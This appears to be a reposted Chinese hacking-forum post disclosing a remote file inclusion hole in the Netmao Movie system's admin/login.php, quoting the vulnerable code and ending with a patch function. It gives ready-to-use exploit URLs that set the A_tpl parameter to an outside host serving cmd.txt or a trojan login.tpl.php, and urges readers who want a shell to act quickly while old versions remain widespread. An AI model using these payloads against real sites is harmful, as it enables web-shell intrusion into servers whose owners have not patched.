| 关键词: nbsp InclueName login session password referer 漏洞 php username admin |
IceskYsl在NOHACK上发表的php漏洞专题。第一次就是包含文件漏洞。 那今天我就很快找到了一个,不敢独享!呵呵。 程序:Netmao Movie网猫电影系统。 说明下:现在它的最新版本是3.0,由于加密了,所以就不好继续研究。不过网上使用的很多都不是最新的版本。所以想拿shell的要赶快哦。 漏洞文件:admin目录下的login.php文件。 代码: if($action=='login'){ @session_start(); if($_SESSION['randomstr']!=$checkcode){ cpmsg('对不起,验证码错误','?file=login'); exit(); } $referer=$referer?$referer:'?file='; $username=addslashes($username); $password=addslashes($password); $password=MD5($password); $result=$db->query("Select * FROM $table_member Where user='$username' AND pwd='$password'"); if($db->num_rows($result)==1){ $r=$db->fetch_array($result); $_SESSION[username]=$r[$user]; if($r[priv]=='1'){$_SESSION[admin]='1';} cpmsg("登录成功!",$referer); }else{ session_destroy(); cpmsg("对不起,帐号和密码不匹配!",$referer); } }elseif($action=='logout'){ session_destroy(); cpmsg("你已经成功退出!",'?file=login'); }else{ include $A_tpl.'/login.tpl.php'; } 我们直奔else语句里的代码。变量A_tpl 没赋值,直接拿来用。直接输入admin/login.php可以暴出路径。 EXP:⑴admin/login.php?A_tpl=http://www.xxxx.com/cmd.txt?⑵在一个不支持php脚本的空间建立一个login.tpl.php(当然是自己的脚本木马咯)访问admin/login.php?A_tpl=http://www.xxxx.com 即可。 好了,结束。。初来~请各位牛人多多指教。---------------------------------------------------------------------------------------------------修补漏洞的方案: function StopRemoteInclude($InclueName){ if(strpos($InclueName,'\\')!==false){ return substr($InclueName,0,strrpos($InclueName,'\\')); }elseif(strpos($InclueName,'/')!==false){ return substr($InclueName,0,strrpos($InclueName,'/')); }else{ return '/'; }}define('S_Dir',__FILE__?StopRemoteInclude(__FILE__).'/' : './'); |
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|